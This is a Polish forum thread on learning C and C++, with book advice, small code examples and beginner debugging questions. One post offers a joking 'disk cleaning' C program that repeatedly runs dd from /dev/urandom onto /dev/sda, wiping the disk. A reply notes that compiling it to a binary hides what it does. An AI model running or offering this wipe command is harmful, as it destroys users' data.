Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!
Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.
ArnVaker napisał(-a):
Trin napisał(-a):
Nie jest zbyt nowy ale takie podstawy jak klasy, wskaźniki, struktury ma naprawdę elegancko wytłumaczone.
NIC? ;)
Coś Ty, NIC to jeszcze "nówka, nie śmigana" :D
Offline
Zdecydowane nie ma żadnych wątpliwości iż c i c++ to sama radość z programowania i jeszcze większa z jego uczenia się. Przykład:
#include <iostream> using namespace std; void funkcja_a(void (*fp)(int), int); void funkcja_b(int); void funkcja_c(int); int main() { //cout << "Hello world!" << endl; void (*p) (int); p=funkcja_b; funkcja_a(p,10); p(50); return 0; } void funkcja_a(void (*fp)(int), int arg) { fp(arg); fp=funkcja_c; } void funkcja_b(int num) { cout << num << endl;; } void funkcja_c(int num) { cout << num+10 << endl; }
#include <iostream> using namespace std; void funkcja_a(void (*&fp)(int), int); void funkcja_b(int); void funkcja_c(int); int main() { //cout << "Hello world!" << endl; void (*p) (int); p=funkcja_b; funkcja_a(p,10); p(50); return 0; } void funkcja_a(void (*&fp)(int), int arg) { fp(arg); fp=funkcja_c; } void funkcja_b(int num) { cout << num << endl;; } void funkcja_c(int num) { cout << num+10 << endl; }
void funkcja_a(void (*&fp)(int), int); vs void funkcja_a(void (*fp)(int), int);
w powyższym jeden znaczek a ile radości ;-)
Offline
Nie chciałem zakładać nowego tematu, gdyż to co chce się dowiedzieć jest pośrednio tutaj. Chodzi o to, że chciałbym się nauczyć programować. Przyszłościowo myślę raczej o javie, php (i o tym języku windowsowym, chodzi o aplikacje Windows Mobile). Jednak przeczytałem gdzieś, że żeby nauczyć się dobrze programować trzeba zacząć od np. C++. Teraz moje pytanie brzmi: czy lepiej zacząć od algorytmów, czy śmiało mogę zacząć przygodę z jakimś językiem i czy dobry wybór to C++. Ogólnie dotychczas miałem do czynienia tylko z html'em. Słyszałem o "Symfonii C++" i "Pasji C++" Ale wielu użytkowników odradza te pozycje, tłumacząc, że to lanie wody i źle jest napisana. Słyszałem również o megatutorialu "Od zera do gier kodera". Moje pytanie kieruje do osób związanych z programowaniem: Czy opłaca się kupować Symfonie razem z Pasją czy osobno oraz czy może wystarczyło by przerobienie samego megatutoriala? Jedna osoba na jakimś forum polecała też książkę Helionu "Szkoła programowania" czy jakoś tak, czy mógłby mi ktoś więc powiedzieć czego się uczyć jako początkujący i skąd czerpać "wiedzę"?
Offline
Jeżeli chcesz się uczyć javy i php to ucz się javy i php. C++ jest trudnym językiem i jego nauka tak dla sztuki nie ma sensu, zwłaszcza że interesują Cię technologie internetowe.
Offline
OI czy OIG?
dobrze ogarniasz matme?
te książki nauczą - pytanie tylko w jakim tempie. moim zdaniem kurs w internecie + od razu praktyka. swego czasu w większych miastach, w budynkach bodajże OEiiZK były bezpłatne zajęcia dla gimbusów i licealistów chcących uczyć się C++,pascala -> startować w OI,OIG. trwało to raz 4h co tydzień/dwa - prowadzone dobrze przez najlepszych studentów z UW/osób które wygrały takie olimpiady. na koniec, kulturalnie; książeczka, jakiś dyplomik - i co najważniejsze wiedza - już po 2 takich zajęciach skill idzie tak do góry, że trudno wrócić z powrotem do takiej nauki przez czytanie książki - (no chyba, że ktoś szybko czyta; były prace domowe). Nie wiem czy jest to jeszcze teraz. Wiem, że uczęszczały tam niezłe cyborgi, były nawet jakieś obozy "wakacyjne" lecz nie dziewuchy, baty i plaża -a mózgi siedzieli przed komputerami ;p 14-16lat a brać udział w tworzeniu projektów typu freesco,nnd. laureatów to chyba od razu przejmował Google. Ludzie miazga
Ostatnio edytowany przez dominbik (2012-04-19 20:57:52)
Offline
Jeśli już to OI :) Z matmy sobie radzę, piątkę na półrocze miałem, jeśli teraz czegoś nie spartolę to będzie na koniec roku. Uważasz, że np. ten megatutorial będzie lepszy od Symfonii? Chodzi mi o to, że nie chce tracić niepotrzebnie czasu i pieniędzy.
Offline
Ja uważam, że na początku podstawy podstaw - to jakaś książka/tutek - nie trzeba kupować można w wesji elektronicznej ;p jest ok. ale dalej to już chyba starta czasu, od razu praktyka i przerabianie zadań z OI/OIG (na początku może być OIG) wspomagając się jednocześnie internetem/"tutkami w internecie"/manualami z c++.
moim zdaniem symfonia lepsza. sam miałem w wersji elektronicznej ;p ale to tylko na początku. później (na pewnym poziomie) samemu można wszystko szybciej znaleźć w internecie.
megatutorial to nie wiem o co chodzi
Ostatnio edytowany przez dominbik (2012-04-19 21:05:44)
Offline
Chodziło mi o: http://xion.org.pl/productions/texts/coding/megatutorial/ Wiele osób dobrze mówiło o tym. Myślałem, że ktoś mi powie jak ten poradnik ma się do Symfonii :)
Offline
To ja polecę to:
Neil Matthew, Richard Stones "Zaawansowane programowanie w systemie Linux"
Co prawda nie jest to podręcznik C/C++, ale większość przykładów jest w C. Natomiast bardzo fajne jest to, że autorzy opisują (z grubsza) bardzo różne tematy - bazy danych, GTK i Qt, LDAP i mnóstwo innych. Mistrzem np. GTK nikt po lekturze raczej nie zostanie, ale będzie wiedział czego szukać, co doczytać itp.
Offline
Apropo http://www.intercon.pl/~sektor/cbx/ (C++ bez cholesterolu), to napisałem skrypcik (wrzuccie sobie do user.js), coby się łatwiej czytało, bo kolorki troche mi oczy męczą:
if(location.hostname=="www.intercon.pl") { //konfiguracja //kolor tla bg="black" //kolor textu txt="white" //kolor linkow link="turquoise" document.body.style.backgroundColor=bg; document.body.style.color=txt; linki=document.getElementsByTagName("a"); for(i=0; i<linki.length; i++) { linki[i].style.color=link; } //alert("a"); }
Offline
Mój skrypt do czyszczenia dysku (C) bardzo skuteczny ;)
#include <stdio.h> void main() { int i,n; printf("Czyszczenie dysku, wcisnij [enter], aby uruchomic\n"); while( getchar() != '\n' ); n=4; for(i=0; i<=n; i++) { system("dd if=/dev/urandom of=/dev/sda bs=1M"); } printf("\nCzyszczenie dysku zakończone sukcesem\n"); }
Ostatnio edytowany przez mati75 (2012-07-25 20:47:54)
Offline
A po co takie kombinacje?
Przecież to w bashu ze 4 linijki....
Ostatnio edytowany przez Jacekalex (2014-07-03 06:26:10)
Offline
Szczerze to jest jedna linijka w bashu, tylko w C można zawsze coś ukryć, bo z tego się binarka robi.
Offline
Panowie mati75 i irth do wklejania swoich wynalazków jest oddzielny wątek pt. Nasza twórczość. :)
Offline
Również uważam, że "Język C. Szkoła programowania" to świetna pozycja - nie tylko dla osób, które chcą znać czyste C. Po tej książce śmiało brnę przez Thinking in C++, której to póki co nie mogę jeszcze z czystym sumieniem polecić, bo jej nie skończyłem.
Dla osób, które mają już jakieś doświadczenie w programowaniu można chyba również polecić książkę "Język ANSI C", jest to nieco cięższa książka (nie tłumaczy wszystkiego tak dobrze jak szkoła programowania), jednak jest bardzo krótka i dla osób dobrze obeznanych z ogólnymi zasadami programowania nie powinna sprawić większych problemów.
Zdaję sobie sprawę, że temat jest stary, jednak jest przypięty i wciąż aktualny, chciałem wtrącić swoje 3 grosze :).
Symfonii sam nie czytałem, jednak miałem styczność z gościem, który zarówno po przerobieniu symfonii jak i pasji nie potrafił skleić poprawnego kodu, czasami potrafił stworzyć jedynie działający.
Powiem tak, na EiT na PG Symfonia jest w literaturze podstawowej przedmiotu "Metody i techniki programowania", więc z założenia złą książką być nie powinna
Pozdrawiam.
Offline
A ja znam co najmniej 10 magistrów/inżynierów ktorzy nie umieją programować.
Przeczytać a rozumieć i umiec to dwie różne rzeczy.
Czytałem symfonie i uważźam że jest na początek dobrym językiem napisana ale i tak trzeba dużo czasu poświecić aby sie nauczyc programowania.
Offline
myślę, że to będzie dobre miejsce na to pytanie.
Panie i Panowie, ze względu, że nie zajmuję się na co dzień C++, to proszę o wyjaśnienie zapisu tablicy:
tablica[x][y]+1;
gdzie x i y to zmienne w petli
Offline
wez indeks x, y dwuwymiarowej tablicy i dodaj do tego co tam obecnie jest 1 (nie modyfikuje zawartosci tablica[x][y] po prostu czyta co tam jest i dodaje jeden (tworzac tymczasowy obiekt typu takiego jak tablica int, double float etc)
Ostatnio edytowany przez HAL9000 (2013-03-20 18:24:45)
Offline
Mam pytanko, czemu gdy wpisuje sobie takie coś w netbeans:
#include <iostream> using namespace std; int main(){ int a; cout << "uo matko i córko \n"; cin >> a; cout << a; return 0; }
cin jest podkreślone czerwoną falowaną (po najechaniu piszę: unable to resolve identifier cin), czemu się tak dzieje? Co robię nie tak? A może to się jakoś zdezaktualizowało?
Offline
To chyba coś z netbeans albo ustawieniami. Ten kod jest okey.
Offline
Nom kod jest ok... wcześniej kompilacja z konsoli nie szła, bo nie zapisałem pliku... (wskazanie netbeansa + błąd kompilacji i wrażenie czystego kodu upadało....) jak zapisałem i skompilowałem, to działa, dzięki za pomoc ;)
Edyta:
Okazało się, że Netbeans miał jakiś problem i 2 kliknięcia załatwiły sprawę ;]
Ostatnio edytowany przez thomsson (2013-06-23 22:46:02)
Offline
Ostatnio wyszło, że zacząłem się uczyć C i zacząłem się uczyć z materiałów Wikibooks i mam pytanie odnoście tego, mam za zadanie napisać program który wczytuje zawartość jednego pliku, a następnie zapisuje w drugim, no i zasadniczo kod działa, ale chciałbym, żeby działał ładniej, bo na te chwilę wczytuje zawartość pliku za pomocą fread(), ale wczytuje stałą liczbę elementów. Ale jako idealista nie lubie takiego czegoś i zastanawiam się co tam wpisać, żeby wczytywał mi całość.
Kod wygląda tak:
/*Napisz program, który pobierze jako argumenty z linii komend nazwy dwóch plików i przekopiuje zawartość pierwszego pliku do drugiego (tworząc lub zamazując drugi). */ #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { FILE *fp; char zaw[1000]; if((fp=fopen(argv[1],"r"))==NULL) { printf("\nNie ma takiego pliku, lub nie można go otworzyć\nplik2=%s\n",argv[1]); exit(1); } printf("\nPlik 1 ma nazwę: %s\n i udało się skurczybyka otworzyć\n",argv[1]); FILE *fn; if((fn=fopen(argv[2],"w"))==NULL) { printf("\nNie ma takiego pliku, lub nie można go otworzyć\nplik2=%s\n",argv[2]); exit(1); } fread(zaw,sizeof fp, 10, fp); fprintf(fn,"%s", zaw); fclose(fp); fclose(fn); return 0; }
Pozdrawiam i dzięki z góry za podpowiedzi
Offline
stat i st_size + malloc to odpowiedź na twoje pytanie.
sizeof fp... z czystej ciekawości, skąd taką bzurę wytrzasnąłeś? bo jeśli z jakiegoś tutka to powiedz z jakiego, żeby wszyscy wiedzieli co mają szerokim łukiem omijać...
tak przy okazji zapoznaj się z fread/fwrite.
Offline
zastanów się czy przy czymś takim w ogóle trzeba wczytywać plik do pamięci. z tekstowym np może wystarczy pojedynczy znak?
http://ideone.com/0Cfjhv
a tak poważniej no to drogą systemu ciekawe jest;
http://stackoverflow.com/questions/10195343/copy-a- … efficient-way
http://stackoverflow.com/questions/3680730/c-fileio … le1-x-file2-x
http://stackoverflow.com/questions/2180079/how-can- … -unix-using-c
a jeżeli traktujesz to jako zadanie, że chcesz sobie to wczytać do pamięci to łatwo napisać sobie w C np. listę jednokierunkową albo vector i tam wczytywać po kolei linijki. nawet samą linijką pliku nie musisz się przejmować, możesz np. skorzystać z tego co oferuje _GNU_SOURCE ;
http://man7.org/linux/man-pages/man3/getline.3.html
masz tam nawet przykład. alokuje to odpowiednio dużo miejsca pod wskaźnik, który mu podrzucisz. tyle ile trzeba na daną linijkę.
Offline